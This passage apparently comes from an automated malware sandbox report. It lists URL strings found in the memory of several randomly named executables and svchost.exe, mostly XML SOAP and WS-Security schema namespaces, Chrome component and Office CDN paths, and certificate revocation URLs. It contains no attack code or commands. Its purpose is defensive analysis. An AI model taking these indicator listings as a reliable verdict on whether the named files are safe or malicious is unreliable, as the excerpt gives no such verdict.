Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.12.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4138478165.00000000018D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.cMq
Source: svchost.exe, 0000000D.00000002.4103985495.0000027EC1E15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: espartu.exe, 00000022.00000002.4453169253.0000000000F7A000.00000004.00000010.00020000.00000000.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000000.4044981578.00000000016E8000.00000080.00000001.01000000.0000001F.sdmp, svchost.exe, 0000002A.00000002.4457085471.0000000000938000.00000080.00000001.01000000.00000020.sdmp	String found in binary or memory: http://pki-crl.symauth.com/ca_d409a5cb737dc0768fd08ed5256f3633/LatestCRL.crl07
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000000.4044981578.00000000016E8000.00000080.00000001.01000000.0000001F.sdmp, svchost.exe, 0000002A.00000002.4457085471.0000000000938000.00000080.00000001.01000000.00000020.sdmp	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000000.4044981578.00000000016E8000.00000080.00000001.01000000.0000001F.sdmp, svchost.exe, 0000002A.00000002.4457085471.0000000000938000.00000080.00000001.01000000.00000020.sdmp	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4104041083.0000027EC1E35000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 0000000D.00000003.4100987083.0000027EC1765000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097174361.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/~
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097637353.0000027EC174C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097555056.0000027EC174A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4101037697.0000027EC174D000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 0000000D.00000003.2308113743.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098221308.0000027EC1741000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4100855946.0000027EC1743000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2284338374.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097174361.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy=80600
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmX
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097878074.0000027EC173A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4100987083.0000027EC1765000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097757885.0000027EC1737000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098268964.0000027EC1742000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098221308.0000027EC1741000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4100855946.0000027EC1743000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097174361.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: svchost.exe, 0000000D.00000003.2284338374.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc~
Source: svchost.exe, 0000000D.00000003.2284338374.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097174361.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuerf
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103455410.0000027EC0ECA000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: svchost.exe, 0000000D.00000003.4100987083.0000027EC1765000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097174361.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustbc
Source: svchost.exe, 0000000D.00000003.4100987083.0000027EC1765000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097174361.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustv
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002CB2000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4148631852.0000000005A71000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4552683302.0000000005971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
